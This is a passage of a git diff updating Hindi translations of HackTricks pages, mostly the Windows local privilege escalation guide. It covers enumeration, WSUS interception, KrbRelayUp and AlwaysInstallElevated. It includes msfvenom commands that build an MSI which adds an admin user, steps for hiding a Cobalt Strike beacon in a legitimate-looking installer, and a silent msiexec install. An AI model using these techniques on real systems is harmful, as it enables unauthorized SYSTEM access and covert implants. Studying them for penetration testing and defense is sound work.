नए region पर jmp करें। +- ऐसे gadgets जिनसे RSP बदलता है (e.g., add rsp, 8; ret) हमेशा ध्यान में रखें और बीच में junk qwords डालें। + +- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **should be disabled** ताकि address executions के बीच भरोसेमंद रहे; अन्यथा जिस address पर function store होगा वह हमेशा एक सा नहीं होगा और आपको यह पता लगाने के लिए कुछ leak चाहिए होगा कि win function कहाँ लोड है। +- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) को भी disabled होना चाहिए वरना compromised EIP return address कभी follow नहीं होगा। +- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection shellcode के stack के अंदर execution को रोक देगा क्योंकि वह region executable नहीं होगा। ## अन्य उदाहरण और संदर्भ - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) -- 64बिट, ASLR के साथ स्टैक पता लीक, शेलकोड लिखें और उस पर कूदें +- 64bit, ASLR के साथ stack address leak, shellcode लिखें और उस पर jump करें - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) -- 32 बिट, ASLR के साथ स्टैक लीक, शेलकोड लिखें और उस पर कूदें +- 32 bit, ASLR के साथ stack leak, shellcode लिखें और उस पर jump करें - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) -- 32 बिट, ASLR के साथ स्टैक लीक, exit() को कॉल करने से रोकने के लिए तुलना, एक मान के साथ चर को ओवरराइट करें और शेलकोड लिखें और उस पर कूदें +- 32 bit, ASLR के साथ stack leak, exit() कॉल रोकने के लिए comparison, किसी variable को एक value से overwrite करना और shellcode लिखकर उस पर jump करना - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) -- arm64, कोई ASLR नहीं, स्टैक को निष्पादन योग्य बनाने के लिए ROP गैजेट और स्टैक में शेलकोड पर कूदें +- arm64, ASLR नहीं, ROP gadget से stack को executable बनाकर stack में मौजूद shellcode पर jump करना + + +## संदर्भ + +- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) +- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 1e8391843..0060c673d 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -### **Windows स्थानीय विशेषाधिकार वृद्धि वेक्टर की खोज के लिए सबसे अच्छा उपकरण:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Windows local privilege escalation vectors खोजने के लिए सबसे अच्छा टूल:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) ## प्रारंभिक Windows सिद्धांत -### एक्सेस टोकन +### Access Tokens -**यदि आप नहीं जानते कि Windows एक्सेस टोकन क्या हैं, तो आगे बढ़ने से पहले निम्नलिखित पृष्ठ को पढ़ें:** +**यदि आप नहीं जानते कि Windows Access Tokens क्या हैं, तो आगे बढ़ने से पहले निम्न पृष्ठ पढ़ें:** {{#ref}} @@ -17,25 +17,25 @@ access-tokens.md ### ACLs - DACLs/SACLs/ACEs -**ACLs - DACLs/SACLs/ACEs के बारे में अधिक जानकारी के लिए निम्नलिखित पृष्ठ की जांच करें:** +**ACLs - DACLs/SACLs/ACEs के बारे में अधिक जानकारी के लिए निम्न पृष्ठ देखें:** {{#ref}} acls-dacls-sacls-aces.md {{#endref}} -### इंटीग्रिटी लेवल्स +### Integrity Levels -**यदि आप नहीं जानते कि Windows में इंटीग्रिटी लेवल्स क्या हैं, तो आगे बढ़ने से पहले निम्नलिखित पृष्ठ को पढ़ें:** +**यदि आप नहीं जानते कि Windows में integrity levels क्या हैं तो आगे बढ़ने से पहले निम्न पृष्ठ पढ़ें:** {{#ref}} integrity-levels.md {{#endref}} -## Windows सुरक्षा नियंत्रण +## Windows Security Controls -Windows में विभिन्न चीजें हैं जो **आपको सिस्टम को सूचीबद्ध करने से रोक सकती हैं**, निष्पादन योग्य फ़ाइलें चला सकती हैं या यहां तक कि **आपकी गतिविधियों का पता लगा सकती हैं**। आपको विशेषाधिकार वृद्धि सूचीकरण शुरू करने से पहले निम्नलिखित **पृष्ठ** को **पढ़ना** और सभी **रक्षा** **यंत्रों** को **सूचीबद्ध** करना चाहिए: +Windows में ऐसी कई चीज़ें मौजूद हो सकती हैं जो आपको **prevent you from enumerating the system**, executables चलाने से रोक सकती हैं या यहां तक कि आपकी गतिविधियों को **detect your activities** कर सकती हैं। आपको privilege escalation enumeration शुरू करने से पहले निम्न **page** को **read** करके इन सभी **defenses** **mechanisms** को **enumerate** करना चाहिए: {{#ref}} @@ -44,9 +44,9 @@ Windows में विभिन्न चीजें हैं जो **आ ## सिस्टम जानकारी -### संस्करण जानकारी सूचीकरण +### Version info enumeration -जांचें कि क्या Windows संस्करण में कोई ज्ञात सुरक्षा दोष है (लागू किए गए पैच भी जांचें)। +जाँचें कि क्या Windows संस्करण में कोई ज्ञात vulnerability है (लागू किए गए patches भी जाँचें)। ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -61,16 +61,16 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches ``` ### Version Exploits -यह [site](https://msrc.microsoft.com/update-guide/vulnerability) Microsoft सुरक्षा कमजोरियों के बारे में विस्तृत जानकारी खोजने के लिए उपयोगी है। इस डेटाबेस में 4,700 से अधिक सुरक्षा कमजोरियाँ हैं, जो **विशाल हमले की सतह** को दर्शाती हैं जो एक Windows वातावरण प्रस्तुत करता है। +This [site](https://msrc.microsoft.com/update-guide/vulnerability) Microsoft सुरक्षा कमजोरियों के बारे में विस्तृत जानकारी खोजने के लिए उपयोगी है। इस डेटाबेस में 4,700 से अधिक सुरक्षा कमजोरियाँ हैं, जो एक Windows वातावरण द्वारा प्रस्तुत किए गए **massive attack surface** को दर्शाती हैं। -**On the system** +**सिस्टम पर** - _post/windows/gather/enum_patches_ - _post/multi/recon/local_exploit_suggester_ - [_watson_](https://github.com/rasta-mouse/Watson) - [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas has watson embedded)_ -**Locally with system information** +**लोकल सिस्टम जानकारी के साथ** - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) @@ -83,7 +83,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches ### Environment -क्या env वेरिएबल्स में कोई क्रेडेंशियल/जूसि जानकारी सहेजी गई है? +क्या कोई credential/Juicy info env variables में saved है? ```bash set dir env: @@ -99,9 +99,9 @@ type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` -### PowerShell Transcript फ़ाइलें +### PowerShell Transcript files -आप इसे चालू करने के लिए [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) पर सीख सकते हैं। +इसे कैसे चालू करें यह आप इस लिंक पर जाकर सीख सकते हैं: [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) ```bash #Check is enable in the registry reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription @@ -116,30 +116,30 @@ Stop-Transcript ``` ### PowerShell Module Logging -PowerShell पाइपलाइन निष्पादन का विवरण रिकॉर्ड किया जाता है, जिसमें निष्पादित कमांड, कमांड कॉल और स्क्रिप्ट के भाग शामिल होते हैं। हालाँकि, पूर्ण निष्पादन विवरण और आउटपुट परिणाम कैप्चर नहीं किए जा सकते हैं। +PowerShell पाइपलाइन निष्पादन का विवरण रिकॉर्ड किया जाता है, जिसमें चलाए गए कमांड, कमांड कॉल/इनवोकेशन्स, और स्क्रिप्ट के हिस्से शामिल होते हैं। हालाँकि, पूरी निष्पादन जानकारी और आउटपुट परिणाम कैप्चर नहीं हो सकते। -इसे सक्षम करने के लिए, दस्तावेज़ के "Transcript files" अनुभाग में दिए गए निर्देशों का पालन करें, **"Powershell Transcription"** के बजाय **"Module Logging"** का विकल्प चुनें। +इसे सक्षम करने के लिए, दस्तावेज़ के "Transcript files" सेक्शन में दिए निर्देशों का पालन करें, और **"Module Logging"** को **"Powershell Transcription"** की जगह चुनें। ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -PowersShell लॉग से अंतिम 15 घटनाओं को देखने के लिए आप निम्नलिखित कमांड चला सकते हैं: +PowersShell logs से आखिरी 15 events देखने के लिए आप निम्नलिखित चलाकर देख सकते हैं: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -स्क्रिप्ट के निष्पादन की पूरी गतिविधि और पूर्ण सामग्री रिकॉर्ड की जाती है, यह सुनिश्चित करते हुए कि कोड का हर ब्लॉक उसके चलने के समय दस्तावेजीकृत है। यह प्रक्रिया प्रत्येक गतिविधि का एक व्यापक ऑडिट ट्रेल बनाए रखती है, जो फॉरेंसिक्स और दुर्भावनापूर्ण व्यवहार का विश्लेषण करने के लिए मूल्यवान है। निष्पादन के समय सभी गतिविधियों को दस्तावेजीकृत करके, प्रक्रिया के बारे में विस्तृत अंतर्दृष्टि प्रदान की जाती है। +स्क्रिप्ट के निष्पादन की संपूर्ण गतिविधि और पूर्ण सामग्री रिकॉर्ड कैप्चर किया जाता है, जिससे यह सुनिश्चित होता है कि कोड का प्रत्येक ब्लॉक चलते समय दस्तावेज़ित हो। यह प्रक्रिया प्रत्येक गतिविधि का एक व्यापक ऑडिट ट्रेल संरक्षित करती है, जो forensics और malicious behavior के विश्लेषण के लिए मूल्यवान है। निष्पादन के समय सभी गतिविधियों का दस्तावेज़ीकरण करके प्रक्रिया के बारे में विस्तृत अंतर्दृष्टि प्रदान की जाती है। ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Script Block के लिए लॉगिंग इवेंट्स Windows Event Viewer में इस पथ पर स्थित हो सकते हैं: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**।\ -अंतिम 20 इवेंट्स देखने के लिए आप उपयोग कर सकते हैं: +Script Block के लॉगिंग ईवेंट्स Windows Event Viewer में इस पथ पर पाए जा सकते हैं: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ +आखिरी 20 इवेंट देखने के लिए आप उपयोग कर सकते हैं: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview ``` @@ -156,17 +156,17 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -यदि अपडेट http**S** का उपयोग करके अनुरोध नहीं किए जाते हैं, तो आप सिस्टम को समझौता कर सकते हैं। +यदि अपडेट http**S** के बजाय http के माध्यम से अनुरोधित किए जा रहे हैं तो आप सिस्टम को समझौता कर सकते हैं। -आप cmd में निम्नलिखित चलाकर जांचना शुरू करते हैं कि क्या नेटवर्क गैर-SSL WSUS अपडेट का उपयोग करता है: +आप cmd में निम्नलिखित चलाकर यह जाँच करके शुरू करते हैं कि नेटवर्क non-SSL WSUS update का उपयोग कर रहा है या नहीं: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` -या PowerShell में: +या PowerShell में निम्नलिखित: ``` Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` -यदि आपको इनमें से किसी एक जैसी प्रतिक्रिया मिलती है: +यदि आपको इनमें से किसी एक जैसा उत्तर मिलता है: ```bash HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535 @@ -180,13 +180,13 @@ PSChildName : windowsupdate PSDrive : HKLM PSProvider : Microsoft.PowerShell.Core\Registry ``` -और यदि `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` या `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` का मान `1` है। +और अगर `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` या `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` का मान `1` के समान है। -तो, **यह exploitable है।** यदि अंतिम रजिस्ट्री का मान 0 है, तो WSUS प्रविष्टि को अनदेखा किया जाएगा। +तो, **it is exploitable.** यदि अंतिम registry का मान 0 के समान है, तो WSUS entry को अनदेखा कर दिया जाएगा। -इन कमजोरियों का लाभ उठाने के लिए आप उपकरणों का उपयोग कर सकते हैं: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- ये MiTM हथियारबंद exploits स्क्रिप्ट हैं जो गैर-SSL WSUS ट्रैफ़िक में 'फर्जी' अपडेट इंजेक्ट करने के लिए हैं। +इन vulnerabilities को exploit करने के लिए आप इन tools का उपयोग कर सकते हैं: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - ये MiTM weaponized exploits scripts हैं जो non-SSL WSUS traffic में 'fake' updates इंजेक्ट करते हैं। -यहाँ शोध पढ़ें: +Read the research here: {{#file}} CTX_WSUSpect_White_Paper (1).pdf @@ -195,25 +195,25 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** [**पूर्ण रिपोर्ट यहाँ पढ़ें**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ -बुनियादी रूप से, यह वह दोष है जिसका लाभ यह बग उठाता है: +सारांश में, यह वह flaw है जिसका यह bug exploits: -> यदि हमारे पास अपने स्थानीय उपयोगकर्ता प्रॉक्सी को संशोधित करने की शक्ति है, और Windows Updates इंटरनेट एक्सप्लोरर की सेटिंग में कॉन्फ़िगर की गई प्रॉक्सी का उपयोग करता है, तो हमारे पास [PyWSUS](https://github.com/GoSecure/pywsus) को स्थानीय रूप से चलाने की शक्ति है ताकि हम अपने स्वयं के ट्रैफ़िक को इंटरसेप्ट कर सकें और अपने संपत्ति पर एक उच्च स्तर के उपयोगकर्ता के रूप में कोड चला सकें। +> यदि हमारे पास अपने local user proxy को modify करने की क्षमता है, और Windows Updates Internet Explorer के settings में configured proxy का उपयोग करता है, तो हम स्थानीय रूप से [PyWSUS](https://github.com/GoSecure/pywsus) चला कर अपनी ही traffic को intercept कर सकते हैं और अपने asset पर एक elevated user के रूप में code चला सकते हैं। > -> इसके अलावा, चूंकि WSUS सेवा वर्तमान उपयोगकर्ता की सेटिंग का उपयोग करती है, यह इसके प्रमाणपत्र स्टोर का भी उपयोग करेगी। यदि हम WSUS होस्टनाम के लिए एक स्व-हस्ताक्षरित प्रमाणपत्र उत्पन्न करते हैं और इस प्रमाणपत्र को वर्तमान उपयोगकर्ता के प्रमाणपत्र स्टोर में जोड़ते हैं, तो हम HTTP और HTTPS दोनों WSUS ट्रैफ़िक को इंटरसेप्ट करने में सक्षम होंगे। WSUS प्रमाणपत्र पर पहले उपयोग पर विश्वास करने के प्रकार की मान्यता लागू करने के लिए कोई HSTS-जैसे तंत्र का उपयोग नहीं करता है। यदि प्रस्तुत प्रमाणपत्र उपयोगकर्ता द्वारा विश्वसनीय है और सही होस्टनाम है, तो इसे सेवा द्वारा स्वीकार किया जाएगा। +> इसके अलावा, चूंकि WSUS service current user की settings का उपयोग करती है, यह current user के certificate store का भी उपयोग करेगी। यदि हम WSUS hostname के लिए एक self-signed certificate generate करें और इस certificate को current user के certificate store में जोड़ दें, तो हम HTTP और HTTPS दोनों WSUS traffic को intercept कर पाएंगे। WSUS certificate पर trust-on-first-use प्रकार की validation लागू करने के लिए किसी HSTS-like mechanism का उपयोग नहीं करता। यदि प्रस्तुत certificate user द्वारा trusted है और hostname सही है, तो service इसे स्वीकार कर लेगा। -आप इस कमजोरी का लाभ [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) उपकरण का उपयोग करके उठा सकते हैं (जब यह मुक्त हो जाए)। +आप इस vulnerability को tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) का उपयोग करके exploit कर सकते हैं (एक बार यह liberated हो जाने पर)। ## KrbRelayUp -Windows **डोमेन** वातावरण में एक **स्थानीय विशेषाधिकार वृद्धि** की कमजोरी विशेष परिस्थितियों में मौजूद है। इन परिस्थितियों में वे वातावरण शामिल हैं जहाँ **LDAP साइनिंग लागू नहीं है,** उपयोगकर्ताओं के पास **Resource-Based Constrained Delegation (RBCD)** को कॉन्फ़िगर करने के लिए स्व-अधिकार हैं, और उपयोगकर्ताओं के लिए डोमेन के भीतर कंप्यूटर बनाने की क्षमता है। यह ध्यान रखना महत्वपूर्ण है कि ये **आवश्यकताएँ** **डिफ़ॉल्ट सेटिंग्स** का उपयोग करके पूरी की जाती हैं। +एक **local privilege escalation** vulnerability Windows **domain** environments में कुछ विशिष्ट परिस्थितियों में मौजूद है। इन परिस्थितियों में शामिल हैं ऐसे environments जहाँ **LDAP signing is not enforced,** users के पास self-rights हों जो उन्हें **Resource-Based Constrained Delegation (RBCD)** configure करने की अनुमति दें, और users के पास domain में computers create करने की क्षमता हो। यह ध्यान रखने योग्य है कि ये **requirements** **default settings** का उपयोग करके पूरी हो जाती हैं। -**शोषण खोजें** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) +Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) -हमले के प्रवाह के बारे में अधिक जानकारी के लिए देखें [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) +attack के flow के बारे में अधिक जानकारी के लिए देखें [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) ## AlwaysInstallElevated -**यदि** ये 2 रजिस्टर **सक्षम** हैं (मान **0x1** है), तो किसी भी विशेषाधिकार के उपयोगकर्ता `*.msi` फ़ाइलों को NT AUTHORITY\\**SYSTEM** के रूप में **स्थापित** (निष्पादित) कर सकते हैं। +**If** ये 2 registers **enabled** हैं (मान **0x1**), तो किसी भी privilege के users `*.msi` files को NT AUTHORITY\\**SYSTEM** के रूप में **install** (execute) कर सकते हैं। ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated @@ -223,70 +223,73 @@ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEle msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted ``` -यदि आपके पास एक मीटरप्रीटर सत्र है, तो आप इस तकनीक को **`exploit/windows/local/always_install_elevated`** मॉड्यूल का उपयोग करके स्वचालित कर सकते हैं। +यदि आपके पास meterpreter session है, तो आप इस तकनीक को मॉड्यूल **`exploit/windows/local/always_install_elevated`** का उपयोग करके स्वचालित कर सकते हैं। ### PowerUP -`Write-UserAddMSI` कमांड का उपयोग करें power-up से वर्तमान निर्देशिका के अंदर एक Windows MSI बाइनरी बनाने के लिए ताकि विशेषाधिकार बढ़ाए जा सकें। यह स्क्रिप्ट एक पूर्व-संकलित MSI इंस्टॉलर लिखती है जो उपयोगकर्ता/समूह जोड़ने के लिए संकेत देती है (इसलिए आपको GIU पहुंच की आवश्यकता होगी): +power-up से `Write-UserAddMSI` कमांड का उपयोग करके वर्तमान डायरेक्टरी में एक Windows MSI binary to escalate privileges बनाने के लिए बनाएं। यह स्क्रिप्ट एक precompiled MSI installer लिखती है जो user/group addition के लिए प्रॉम्प्ट करती है (इसलिए आपको GIU access की आवश्यकता होगी): ``` Write-UserAddMSI ``` -बस बनाए गए बाइनरी को कार्यान्वित करें ताकि विशेषाधिकार बढ़ सके। +सिर्फ बनाए गए binary को execute करके privileges escalate करें। ### MSI Wrapper -इस ट्यूटोरियल को पढ़ें ताकि आप इस उपकरणों का उपयोग करके एक MSI wrapper कैसे बनाएं, यह जान सकें। ध्यान दें कि आप एक "**.bat**" फ़ाइल को लपेट सकते हैं यदि आप **बस** **कमांड लाइनों** को **कार्यन्वित** करना चाहते हैं। +इस tutorial को पढ़ें ताकि आप MSI wrapper बनाना सीख सकें। नोट करें कि आप एक **.bat** फ़ाइल wrap कर सकते हैं अगर आप **just** **execute** **command lines** करना चाहते हैं + {{#ref}} msi-wrapper.md {{#endref}} -### WIX के साथ MSI बनाएं +### Create MSI with WIX + {{#ref}} create-msi-with-wix.md {{#endref}} -### Visual Studio के साथ MSI बनाएं +### Create MSI with Visual Studio -- **Cobalt Strike** या **Metasploit** के साथ एक **नया Windows EXE TCP payload** `C:\privesc\beacon.exe` में **जनरेट** करें। -- **Visual Studio** खोलें, **Create a new project** चुनें और खोज बॉक्स में "installer" टाइप करें। **Setup Wizard** प्रोजेक्ट चुनें और **Next** पर क्लिक करें। -- प्रोजेक्ट को एक नाम दें, जैसे **AlwaysPrivesc**, स्थान के लिए **`C:\privesc`** का उपयोग करें, **solution और project को एक ही निर्देशिका में रखें** चुनें, और **Create** पर क्लिक करें। -- **Next** पर क्लिक करते रहें जब तक आप 4 में से 3 चरण पर नहीं पहुँचते (शामिल करने के लिए फ़ाइलें चुनें)। **Add** पर क्लिक करें और उस Beacon payload को चुनें जिसे आपने अभी जनरेट किया है। फिर **Finish** पर क्लिक करें। -- **Solution Explorer** में **AlwaysPrivesc** प्रोजेक्ट को हाइलाइट करें और **Properties** में, **TargetPlatform** को **x86** से **x64** में बदलें। -- अन्य गुण भी हैं जिन्हें आप बदल सकते हैं, जैसे **Author** और **Manufacturer** जो स्थापित ऐप को अधिक वैध दिखा सकते हैं। -- प्रोजेक्ट पर राइट-क्लिक करें और **View > Custom Actions** चुनें। -- **Install** पर राइट-क्लिक करें और **Add Custom Action** चुनें। -- **Application Folder** पर डबल-क्लिक करें, अपने **beacon.exe** फ़ाइल का चयन करें और **OK** पर क्लिक करें। यह सुनिश्चित करेगा कि beacon payload इंस्टॉलर चलने पर तुरंत कार्यान्वित हो। -- **Custom Action Properties** के तहत, **Run64Bit** को **True** में बदलें। -- अंत में, **build it**। -- यदि चेतावनी `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` दिखाई देती है, तो सुनिश्चित करें कि आपने प्लेटफ़ॉर्म को x64 पर सेट किया है। +- **Generate** Cobalt Strike या Metasploit के साथ एक **नया Windows EXE TCP payload** `C:\privesc\beacon.exe` में बनाएं +- Open **Visual Studio**, **Create a new project** चुनें और search box में "installer" टाइप करें। **Setup Wizard** प्रोजेक्ट चुनें और **Next** पर क्लिक करें। +- प्रोजेक्ट को कोई नाम दें, जैसे **AlwaysPrivesc**, लोकेशन के लिए **`C:\privesc`** इस्तेमाल करें, **place solution and project in the same directory** चुनें, और **Create** पर क्लिक करें। +- जब तक आप step 3 of 4 (choose files to include) तक न पहुंचें, तब तक **Next** पर क्लिक करते रहें। **Add** पर क्लिक करें और हाल में generate किया गया Beacon payload चुनें। फिर **Finish** पर क्लिक करें। +- Solution Explorer में **AlwaysPrivesc** प्रोजेक्ट को हाइलाइट करें और **Properties** में **TargetPlatform** को **x86** से **x64** में बदलें। +- आप अन्य properties भी बदल सकते हैं, जैसे **Author** और **Manufacturer**, जो installed app को अधिक legitimate दिखा सकते हैं। +- प्रोजेक्ट पर right-click करें और **View > Custom Actions** चुनें। +- **Install** पर right-click करें और **Add Custom Action** चुनें। +- **Application Folder** पर double-click करें, अपनी **beacon.exe** फ़ाइल चुनें और **OK** पर क्लिक करें। इससे installer रन होते ही beacon payload execute होगा। +- **Custom Action Properties** के तहत **Run64Bit** को **True** में बदलें। +- अंत में, **build** करें। +- यदि यह warning `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` दिखे, तो सुनिश्चित करें कि आपने platform को x64 सेट किया है। -### MSI स्थापना +### MSI Installation -**पृष्ठभूमि** में दुर्भावनापूर्ण `.msi` फ़ाइल की **स्थापना** को कार्यान्वित करने के लिए: +malicious `.msi` फ़ाइल की **installation** को **background** में execute करने के लिए: ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` -इस कमजोरियों का लाभ उठाने के लिए आप उपयोग कर सकते हैं: _exploit/windows/local/always_install_elevated_ +इस vulnerability को exploit करने के लिए आप उपयोग कर सकते हैं: _exploit/windows/local/always_install_elevated_ -## एंटीवायरस और डिटेक्टर्स +## Antivirus and Detectors ### ऑडिट सेटिंग्स -ये सेटिंग्स यह तय करती हैं कि क्या **लॉग** किया जा रहा है, इसलिए आपको ध्यान देना चाहिए +ये सेटिंग्स तय करती हैं कि क्या **लॉग** किया जा रहा है, इसलिए आपको ध्यान देना चाहिए ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF -Windows Event Forwarding, यह जानना दिलचस्प है कि लॉग कहाँ भेजे जाते हैं +Windows Event Forwarding — यह जानना दिलचस्प है कि logs कहाँ भेजे जाते हैं। ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS -**LAPS** स्थानीय व्यवस्थापक पासवर्डों के **प्रबंधन** के लिए डिज़ाइन किया गया है, यह सुनिश्चित करते हुए कि प्रत्येक पासवर्ड **विशिष्ट, यादृच्छिक, और नियमित रूप से अपडेट** किया गया है उन कंप्यूटरों पर जो एक डोमेन से जुड़े हैं। ये पासवर्ड सक्रिय निर्देशिका में सुरक्षित रूप से संग्रहीत होते हैं और केवल उन उपयोगकर्ताओं द्वारा एक्सेस किए जा सकते हैं जिन्हें ACLs के माध्यम से पर्याप्त अनुमतियाँ दी गई हैं, जिससे उन्हें स्थानीय व्यवस्थापक पासवर्ड देखने की अनुमति मिलती है यदि अधिकृत हो। +**LAPS** का उद्देश्य स्थानीय Administrator पासवर्ड का प्रबंधन है, यह सुनिश्चित करते हुए कि प्रत्येक पासवर्ड डोमेन से जुड़े कंप्यूटरों पर **अद्वितीय, यादृच्छिक, और नियमित रूप से अपडेट** होता है। ये पासवर्ड Active Directory के भीतर सुरक्षित रूप से संग्रहीत होते हैं और केवल उन उपयोगकर्ताओं द्वारा एक्सेस किए जा सकते हैं जिन्हें ACLs के माध्यम से पर्याप्त permissions दिए गए हों, जिससे वे अधिकृत होने पर स्थानीय admin पासवर्ड देख सकें। + {{#ref}} ../active-directory-methodology/laps.md @@ -294,36 +297,36 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -यदि सक्रिय है, तो **सादा-टेक्स्ट पासवर्ड LSASS** (स्थानीय सुरक्षा प्राधिकरण उपप्रणाली सेवा) में संग्रहीत होते हैं।\ -[**WDigest के बारे में अधिक जानकारी इस पृष्ठ पर**](../stealing-credentials/credentials-protections.md#wdigest). +यदि सक्रिय है, तो **plain-text पासवर्ड LSASS में संग्रहीत होते हैं** (Local Security Authority Subsystem Service).\ +[**इस पृष्ठ में WDigest के बारे में अधिक जानकारी**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` ### LSA सुरक्षा -**Windows 8.1** से शुरू होकर, Microsoft ने स्थानीय सुरक्षा प्राधिकरण (LSA) के लिए बेहतर सुरक्षा पेश की है ताकि अविश्वसनीय प्रक्रियाओं द्वारा इसकी **मेमोरी** को **पढ़ने** या कोड इंजेक्ट करने के प्रयासों को 